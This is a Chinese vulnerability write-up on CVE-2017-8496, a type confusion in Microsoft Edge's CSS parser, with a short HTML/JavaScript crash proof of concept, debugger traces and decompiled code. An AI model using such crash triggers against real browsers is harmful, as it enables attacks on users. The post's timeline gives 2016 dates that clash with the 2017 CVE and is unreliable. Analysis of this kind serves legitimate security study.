CVE-2017-8496 Microsoft Edge: Type confusion in CssParser::RecordProperty

1. Vulnerability Description

1.1 The Issue

崩溃发生在CAttrArray::PrivateFindInl函数中。 在函数中rcx(this)指针应该指向一个CAttrArray,但它实际上指向一个CAttribute。
CAttrArray::PrivateFindInl只会执行读取操作,其返回值将被调用函数(CAttrArray::SetParsed)抛弃。

1.2 Affect version

Windows 10 Enterprise 64-bit (OS version 1607, OS build 14393.1198)
Microsoft Edge 38.14393.1066.0, Microsoft EdgeHTML 14.14393.

1.3 Timeline

01/12/2016 Advisory disclosed
01/12/2016 +0 days Countermeasure disclosed
01/12/2016 +0 days SecurityTracker entry created
01/12/2016 +0 days VulnerabilityCenter entry assigned
01/13/2016 +1 days VulnerabilityCenter entry created
01/14/2016 +1 days VulDB entry created
01/17/2016 +3 days VulnerabilityCenter entry updated
01/19/2016 +2 days VulDB last update

2. Technical description and PoC

2.1 Crash

从Google Project Zero的报告中获取的PoC如下

<!-- saved from url=(0014)about:internet -->
<script>
function go() {
  window.addEventListener("DOMAttrModified", undefined);
  m.style.cssText = "clip-path: url(#foo);";
}
</script>
<body onload=go()>
<meter id="m" value="a" frame="below">

WinDBG attach到Edge上,运行PoC,发现Crash(注:这里用了一款Edge专用的辅助Debug的工具,可以比较方便的在命令行直接attach到进程上。)

edgehtml!CAttrArray::PrivateFindInl+0xd6:
00007ffa`3b9e04b6 41f644d00380    test    byte ptr [r8+rdx*8+3],80h ds:00000003`0005ffbe=??

可以看出,这里是引用了一个无效的指针,此时的调用栈如下

1:048> k
 # Child-SP          RetAddr           Call Site
00 00000013`84bfad60 00007ffa`3bbaccc9 edgehtml!CAttrArray::PrivateFindInl+0xd6
01 00000013`84bfad90 00007ffa`3bb1a68b edgehtml!CAttrArray::SetParsed+0x49
02 00000013`84bfae00 00007ffa`3bb1c40c edgehtml!CssParser::RecordProperty+0x24b
03 00000013`84bfae70 00007ffa`3bb1b10c edgehtml!CssParser::HandleSingleDeclaration+0x21c
04 00000013`84bfaef0 00007ffa`3bae026b edgehtml!CssParser::HandleDeclaration+0x9c
05 00000013`84bfaf20 00007ffa`3badedaa edgehtml!CssParser::Write+0x3b
06 00000013`84bfaf60 00007ffa`3b93165c edgehtml!ProcessCSSText+0x112
07 00000013`84bfafe0 00007ffa`3b94aae3 edgehtml!CStyle::SetCssText+0xbc
08 00000013`84bfb020 00007ffa`3bc2ed85 edgehtml!CFastDOM::CCSSStyleDeclaration::Trampoline_Set_cssText+0x77
09 00000013`84bfb070 00007ffa`3af6c35b edgehtml!CFastDOM::CCSSStyleDeclaration::Profiler_Set_cssText+0x25
0a 00000013`84bfb0a0 00007ffa`3af34460 chakra!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x16b
0b 00000013`84bfb180 00007ffa`3aed6d09 chakra!Js::LeaveScriptObject<1,1,0>::LeaveScriptObject<1,1,0>+0x180
0c 00000013`84bfb1d0 00007ffa`3aed44ae chakra!Js::JavascriptOperators::CallSetter+0xa9
0d 00000013`84bfb270 00007ffa`3aed4be2 chakra!Js::JavascriptOperators::SetProperty_Internal<0>+0x4de
0e 00000013`84bfb330 00007ffa`3aed4b1f chakra!Js::JavascriptOperators::OP_SetProperty+0xa2
0f 00000013`84bfb380 00007ffa`3af8c1fb chakra!Js::JavascriptOperators::PatchPutValueWithThisPtrNoFastPath+0x9f
10 00000013`84bfb400 00007ffa`3aec1ca0 chakra!Js::ProfilingHelpers::ProfiledStFld<0>+0x1cb
11 00000013`84bfb4d0 00007ffa`3aec6a50 chakra!Js::InterpreterStackFrame::OP_ProfiledSetProperty<Js::OpLayoutT_ElementCP<Js::LayoutSizePolicy<0> > const >+0x70
12 00000013`84bfb520 00007ffa`3aec4aa2 chakra!Js::InterpreterStackFrame::ProcessProfiled+0x340
13 00000013`84bfb5b0 00007ffa`3aec8b5e chakra!Js::InterpreterStackFrame::Process+0x142
14 00000013`84bfb610 00007ffa`3aeca265 chakra!Js::InterpreterStackFrame::InterpreterHelper+0x48e
15 00000013`84bfb950 00000176`dcdc0fb2 chakra!Js::InterpreterStackFrame::InterpreterThunk+0x55
16 00000013`84bfb9a0 00007ffa`3aff1393 0x00000176`dcdc0fb2
17 00000013`84bfb9d0 00007ffa`3aebd873 chakra!amd64_CallFunction+0x93
18 00000013`84bfba20 00007ffa`3aec0490 chakra!Js::JavascriptFunction::CallFunction<1>+0x83
19 00000013`84bfba80 00007ffa`3aec4f4d chakra!Js::InterpreterStackFrame::OP_CallI<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallI<Js::LayoutSizePolicy<0> > > >+0x110
1a 00000013`84bfbad0 00007ffa`3aec4b07 chakra!Js::InterpreterStackFrame::ProcessUnprofiled+0x32d
1b 00000013`84bfbb60 00007ffa`3aec8b5e chakra!Js::InterpreterStackFrame::Process+0x1a7
1c 00000013`84bfbbc0 00007ffa`3aeca265 chakra!Js::InterpreterStackFrame::InterpreterHelper+0x48e
1d 00000013`84bfbf00 00000176`dcdc0fba chakra!Js::InterpreterStackFrame::InterpreterThunk+0x55
1e 00000013`84bfbf50 00007ffa`3aff1393 0x00000176`dcdc0fba
1f 00000013`84bfbf80 00007ffa`3aebd873 chakra!amd64_CallFunction+0x93
20 00000013`84bfbfd0 00007ffa`3af2c2ec chakra!Js::JavascriptFunction::CallFunction<1>+0x83
21 00000013`84bfc030 00007ffa`3af2b8b6 chakra!Js::JavascriptFunction::CallRootFunctionInternal+0x104
22 00000013`84bfc120 00007ffa`3afd6259 chakra!Js::JavascriptFunction::CallRootFunction+0x4a
23 00000013`84bfc190 00007ffa`3af31d41 chakra!ScriptSite::CallRootFunction+0xb5
24 00000013`84bfc230 00007ffa`3af2d8fc chakra!ScriptSite::Execute+0x131
25 00000013`84bfc2c0 00007ffa`3bb3278d chakra!ScriptEngineBase::Execute+0xcc
26 00000013`84bfc360 00007ffa`3bb326d8 edgehtml!CJScript9Holder::ExecuteCallbackDirect+0x3d
27 00000013`84bfc3b0 00007ffa`3bb431f7 edgehtml!CJScript9Holder::ExecuteCallback+0x18
28 00000013`84bfc3f0 00007ffa`3bb42fe7 edgehtml!CListenerDispatch::InvokeVar+0x1fb
29 00000013`84bfc570 00007ffa`3bb310da edgehtml!CListenerDispatch::Invoke+0xdb
2a 00000013`84bfc5f0 00007ffa`3bbc1602 edgehtml!CEventMgr::_InvokeListeners+0x2ca
2b 00000013`84bfc750 00007ffa`3ba9a495 edgehtml!CEventMgr::_InvokeListenersOnWindow+0x66
2c 00000013`84bfc780 00007ffa`3ba99f23 edgehtml!CEventMgr::Dispatch+0x405
2d 00000013`84bfca50 00007ffa`3bad00c2 edgehtml!CEventMgr::DispatchEvent+0x73
2e 00000013`84bfcaa0 00007ffa`3bb0296a edgehtml!COmWindowProxy::Fire_onload+0x14e
2f 00000013`84bfcbb0 00007ffa`3bb01596 edgehtml!CMarkup::OnLoadStatusDone+0x376
30 00000013`84bfcc70 00007ffa`3bb46d7f edgehtml!CMarkup::OnLoadStatus+0x112
31 00000013`84bfcca0 00007ffa`3bb2859d edgehtml!CProgSink::DoUpdate+0x3af
32 00000013`84bfd130 00007ffa`3bb29d70 edgehtml!GlobalWndOnMethodCall+0x24d
33 00000013`84bfd230 00007ffa`593e1c24 edgehtml!GlobalWndProc+0x130
34 00000013`84bfd2f0 00007ffa`593e156c user32!UserCallWinProcCheckWow+0x274
35 00000013`84bfd450 00007ffa`380ec781 user32!DispatchMessageWorker+0x1ac
36 00000013`84bfd4d0 00007ffa`380eec41 EdgeContent!CBrowserTab::_TabWindowThreadProc+0x4a1
37 00000013`84bff720 00007ffa`4f7b9266 EdgeContent!LCIETab_ThreadProc+0x2c1
38 00000013`84bff840 00007ffa`59d98364 iertutil!SettingStore::CSettingsBroker::SetValue+0x246
39 00000013`84bff870 00007ffa`59f55e91 KERNEL32!BaseThreadInitThunk+0x14
3a 00000013`84bff8a0 00000000`00000000 ntdll!RtlUserThreadStart+0x21

寄存器的值如下

1:048> r
rax=0000000000003ffd rbx=0000000000000002 rcx=00000176d9804cf0
rdx=000000000000bff7 rsi=0000000000003ffd rdi=0000000000000000
rip=00007ffa3b9e04b6 rsp=0000001384bfad60 rbp=0000000000000002
 r8=0000000300000003  r9=00000000800114a4 r10=0000000000000000
r11=0000000000007ffa r12=00000176d9a9c680 r13=00000176d9734b01
r14=00000176d9804c88 r15=0000000000000000
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202

在ida中查看相关的代码:

int __fastcall CAttrArray::PrivateFindInl(__int64 this, int a2, signed int CAttrValue__AATYPE)
{
    signed int v3; // edi@1
    signed int v4; // er10@1
    int v5; // er9@1
    __int64 this_add_4; // r11@4
    __int64 this_add_8; // r8@4
    signed int v8; // ebx@4
    unsigned __int64 v9; // rax@7
    signed __int64 v10; // rdx@7
    unsigned __int64 v11; // r11@8
    int v12; // ecx@10
    signed int v13; // ecx@16
    __int64 v14; // rsi@22
    int v15; // ecx@23
    signed int v16; // ecx@34
    signed int v17; // esi@38
    signed __int64 v18; // rdx@38
    int v19; // ecx@40
    int v21; // [sp+38h] [bp+10h]@20

    v3 = 0;
    v4 = CAttrValue__AATYPE;
    v5 = a2;
    if ( CAttrValue__AATYPE == 6 )
        v4 = 0;
    if ( a2 == -1 )
    {
        v21 = -1;
        LODWORD(v9) = CAttrArray::PrivateFindLinear(this, (unsigned int)v4, &v21, 0xFFFFFFFFi64);
    }
    else
    {
        this_add_4 = *(_DWORD *)(this + 4);
        this_add_8 = *(_QWORD *)(this + 8);
        v8 = 2;
        if ( v4 > 2 )
            v8 = v4;
        if ( (signed int)this_add_4 < 11 )
        {
            v9 = *(_QWORD *)(this + 8);
            v10 = 3 * this_add_4;
            goto LABEL_8;
        }
        if ( (signed int)this_add_4 > 0 )
        {
            while ( 1 )
            {
                v14 = ((signed int)this_add_4 + v3) / 2;
                v9 = this_add_8 + 24 * v14;
                if ( *(_BYTE *)(this_add_8 + 24 * v14 + 3) & 0x80 )// vuln
                    v15 = *(_DWORD *)(v9 + 8);
                else
                    v15 = *(_DWORD *)(*(_QWORD *)(v9 + 8) + 48i64);
                if ( a2 < v15 )
                {
                    LODWORD(this_add_4) = ((signed int)this_add_4 + v3) / 2;
                    goto LABEL_26;
                }
                if ( a2 > v15 )
                    goto LABEL_30;
                v16 = *(_BYTE *)v9;
                if ( v4 == v16 )
                    return v9;
                if ( v8 >= v16 )
                    break;
                LODWORD(this_add_4) = ((signed int)this_add_4 + v3) / 2;
LABEL_26:
                if ( (signed int)this_add_4 - v3 < 10 )
                {
                    v9 = this_add_8 + 24i64 * v3;
                    goto LABEL_28;
                }
                if ( v3 >= (signed int)this_add_4 )
                    goto LABEL_19;
            }
            if ( v8 == 2i64 )
            {
                v17 = v14 - 1;
                v18 = v9 - 24;
                if ( v17 >= v3 )
                {
                    while ( 1 )
                    {
                        v19 = *(_BYTE *)(v18 + 3) & 0x80 ? *(_DWORD *)(v18 + 8) : *(_DWORD *)(*(_QWORD *)(v18 + 8) + 48i64);
                        if ( v5 != v19 )
                            break;
                        if ( v4 == *(_BYTE *)v18 )
                        {
                            LODWORD(v9) = v18;
                            return v9;
                        }
                        if ( v17 != v3 )
                        {
                            v18 -= 24i64;
                            if ( --v17 >= v3 )
                                continue;
                        }
                        break;
                    }
                }
LABEL_28:
                v10 = 3i64 * (signed int)this_add_4;
LABEL_8:
                v11 = this_add_8 + 8 * v10;
                if ( v9 < v11 )
                {
                    while ( 1 )
                    {
                        if ( *(_BYTE *)(v9 + 3) & 0x80 )
                            v12 = *(_DWORD *)(v9 + 8);
                        else
                            v12 = *(_DWORD *)(*(_QWORD *)(v9 + 8) + 48i64);
                        if ( v12 >= v5 )
                        {
                            if ( v12 != v5 )
                                goto LABEL_19;
                            v13 = *(_BYTE *)v9;
                            if ( v13 == v4 )
                                return v9;
                            if ( v13 > v8 )
                                goto LABEL_19;
                        }
                        v9 += 24i64;
                        if ( v9 >= v11 )
                            goto LABEL_19;
                    }
                }
                goto LABEL_19;
            }
LABEL_30:
            v3 = v14 + 1;
            goto LABEL_26;
        }
LABEL_19:
        LODWORD(v9) = 0;
    }
    return v9;
}

其中引发问题的指令是

if ( *(_BYTE *)(this_add_8 + 24 * v14 + 3) & 0x80 )

其中this_add_8变量对应的是 rcx+8

那么先查看下rcx的值

1:048> dps rcx
00000176`d9804cf0  00007ffa`3c562d38 edgehtml!CAttribute::`vftable'
00000176`d9804cf8  00000003`00000003
00000176`d9804d00  00000000`00000008
00000176`d9804d08  00000000`00000000
00000176`d9804d10  00000000`00000000
00000176`d9804d18  00000176`dcc18150
00000176`d9804d20  00007ffa`3c55fae0 edgehtml!s_propdescCElementstyle_Str
00000176`d9804d28  00000000`800103eb
00000176`d9804d30  00000176`d9a742f4
00000176`d9804d38  00000000`00000000
00000176`d9804d40  00000000`00000000
00000176`d9804d48  00000000`00000000
00000176`d9804d50  00000176`d9828500
00000176`d9804d58  00000176`d98a8580
00000176`d9804d60  00000176`d9850c00
00000176`d9804d68  00000176`d983c330

这里rcx是this指针,在CAttrArray::PrivateFindInl这个类的函数中应该是一个CAttrArray对象的this指针,可是这里rcx存了一个CAttribute的虚表对象,也就是说,在之前有一个错误的调用。

那么根据调用栈继续上溯,我们可以看到CAttrArray::SetParsed函数,调用PrivateFindInl的代码如下

if ( v6 || (v8 = *a1) == 0i64 || (LODWORD(v9) = CAttrArray::PrivateFindInl((__int64)v8, a2, 0), !v9) )
{
  v11 = v4;
  v10 = 31;
  CAttrArray::Set(v7, (unsigned int)v5, &v10, 0i64);
}

也就是说这里如果该函数返回错误的值,那么CAttrArray::Set将不会执行。

继续向上回溯,查看CssParser::RecordProperty函数

void __fastcall CssParser::RecordProperty(CssParser *this, struct CssTokenizer *a2, __int32 a3, char a4, bool a5)
{
    char v5; // si@1
    __int32 v6; // edi@1
    struct CssTokenizer *v7; // r14@1
    CssParser *v8; // rbp@1
    CBase *v9; // rcx@3
    char v10; // bl@4
    bool v11; // r15@4
    bool v12; // al@6
    char v13; // r13@9
    unsigned __int8 v14; // bl@10
    MemoryProtection *v15; // rsi@11
    const unsigned __int16 *v16; // r12@11
    __int32 v17; // er8@13
    __int64 v18; // rcx@18
    const unsigned __int16 *v19; // rdi@18
    unsigned __int64 v20; // rsi@18
    __int64 v21; // rax@18
    __int16 v22; // ax@24
    unsigned __int64 v23; // r14@30
    signed __int64 v24; // r14@31
    const struct PROPERTYDESC *v25; // rax@37
    int v26; // er10@37
    CDoc *v27; // rax@44
    const unsigned __int16 *v28; // rdx@51
    unsigned __int16 *v29[2]; // [sp+20h] [bp-48h]@4
    __int64 v30; // [sp+30h] [bp-38h]@4
    __int32 v31; // [sp+80h] [bp+18h]@1

    v31 = a3;
    v5 = a4;
    v6 = a3;
    v7 = a2;
    v8 = this;
    if ( *((_UNKNOWN **)this + 22) == &CCSSStyleDeclaration::s_apHdlDescs && *((_QWORD *)this + 2) )
    {
        v9 = (CBase *)*((_QWORD *)this + 23);
        if ( !v9 )
        {
LABEL_4:
            v10 = 0;
            v30 = 0i64;
            _mm_storeu_si128((__m128i *)v29, 0i64);
            v11 = v6 == -1;
            v12 = v5 || v11;
            if ( a5 || v12 )
            {
                v13 = 1;
                if ( v12 )
                    v10 = -128;
            }
            else
            {
                v13 = 0;
            }
            v14 = v10 | 8;
            if ( !v13 )
            {
LABEL_11:
                v15 = (MemoryProtection *)v29[0];
                v16 = &g_szEmpty;
                if ( v11 )
                {
                    if ( v29[0] )
                        v28 = v29[0];
                    else
                        v28 = &g_szEmpty;
                    if ( CssParser::GetExpandoDispID(v8, v28, &v31) )
                    {
LABEL_15:
                        if ( v15 )
                            MemoryProtection::HeapFree(v15, (void *)a2);
                        return;
                    }
                    v6 = v31;
                }
                if ( v6 != -1 )
                {
                    v17 = *((_DWORD *)v8 + 7) + 1;
                    if ( (unsigned int)v17 > *((_DWORD *)v8 + 6) >> 2 )
                    {
                        if ( v17 < 0 )
                        {
                            Abandonment::InvalidArguments();
                            JUMPOUT(*(_QWORD *)&byte_18042A78B);
                        }
                        CImplAry::EnsureSizeWorker((CssParser *)((char *)v8 + 24), 4ui64, v17);
                    }
                    *(_DWORD *)(*((_QWORD *)v8 + 4) + 4i64 * (*((_DWORD *)v8 + 7))++) = v6;
                    if ( v13 )
                    {
                        if ( v11 )
                        {
                            CAttrArray::SetParsed(*((struct CAttrArray ***)v8 + 2), v31, &pwzURI, v14);
                        }
                        else
                        {
                            v25 = GetStandardPropDescFromAliasDISPID(v31);
                            if ( v25 )
                                v26 = *((_DWORD *)v25 + 12);
                            if ( v15 )
                                v16 = (const unsigned __int16 *)v15;
                            CAttrArray::SetParsed(*((struct CAttrArray ***)v8 + 2), v26, v16, v14);
                        }
                    }
                }
                goto LABEL_15;
            }
            v18 = *((_QWORD *)v7 + 1);
            v19 = (const unsigned __int16 *)*((_QWORD *)v7 + 5);
            v20 = v18 + 2i64 * *((_DWORD *)v7 + 5);
            v21 = *((_DWORD *)v7 + 4);
            if ( v20 > v18 + 2 * v21 )
                v20 = v18 + 2 * v21;
            if ( !v11 )
            {
                if ( (unsigned __int64)v19 >= v20 )
                {
LABEL_31:
                    v24 = (signed __int64)(v20 - (_QWORD)v19) >> 1;
                    if ( !v11 && (unsigned int)v24 >= 0xA && !StrCmpNICW(v20 - 20, L"!important", 10i64) )
                    {
                        LODWORD(v24) = v24 - 10;
                        v14 |= 2u;
                    }
                    CBuffer::Append((CBuffer *)v29, v19, v24);
                    CBuffer::TrimTrailingWhitespace((CBuffer *)v29);
                    v6 = v31;
                    goto LABEL_11;
                }
                if ( 58 == *v19 )
                    ++v19;
                v22 = *(_WORD *)(v20 - 2);
                if ( v22 == 59 || !v22 || v22 == 125 )
                    v20 -= 2i64;
            }
            if ( (unsigned __int64)v19 < v20 )
            {
                while ( IsCharSpaceW(*v19) )
                {
                    ++v19;
                    if ( (unsigned __int64)v19 >= v20 )
                        goto LABEL_31;
                }
                if ( (unsigned __int64)v19 < v20 )
                {
                    do
                    {
                        v23 = v20 - 2;
                        if ( !IsCharSpaceW(*(_WORD *)(v20 - 2)) )
                            break;
                        v20 -= 2i64;
                    }
                    while ( (unsigned __int64)v19 < v23 );
                }
            }
            goto LABEL_31;
        }
        v27 = CBase::GetCDoc(v9);
        if ( !v27 || CDoc::CheckCSSDiagnosticsAvailability(v27) )
        {
            v6 = v31;
            goto LABEL_4;
        }
    }
}

CAttrArray::SetParsed的调用在下面两句:

CAttrArray::SetParsed(*((struct CAttrArray ***)v8 + 2), v31, &pwzURI, v14);
CAttrArray::SetParsed(*((struct CAttrArray ***)v8 + 2), v26, v16, v14);

这里v8是this指针,也就是说在这里发生了一次错误的调用,本来应该传入的是CAttrArray,但是传入了一个CAttribute,造成了Type confusion

3. References

1. project-zero
2. nvd
3. cve
4. seebug

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,560评论 4 361
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,104评论 1 291
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,297评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,869评论 0 204
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,275评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,563评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,833评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,543评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,245评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,512评论 2 244
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,011评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,359评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,006评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,062评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,825评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,590评论 2 273
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,501评论 2 268

推荐阅读更多精彩内容

  • 1. Vulnerability Description 1.1 The Issue MS Edge CDOMTe...
    lilyui阅读 299评论 0 0
  • 转至元数据结尾创建: 董潇伟,最新修改于: 十二月 23, 2016 转至元数据起始第一章:isa和Class一....
    40c0490e5268阅读 1,635评论 0 9
  • Django 1.8.2 文档Home | Table of contents | Index | Modules...
    轩辕小爱阅读 2,281评论 0 2
  • 我喜欢各种各样的花,以前得到花的方式主要是偷。 春天花开正盛的时候,到路边折几枝梨花放在注满水的瓶子里...
    路燕风阅读 331评论 0 0
  • 文:春夏秋冬 兰花,至为高贵! 却没有因为孔夫子的独喜挚爱, 而为世人推崇; 她只是权富人温室里的讽刺! 荷花,至...
    令狐Sphinx阅读 210评论 0 1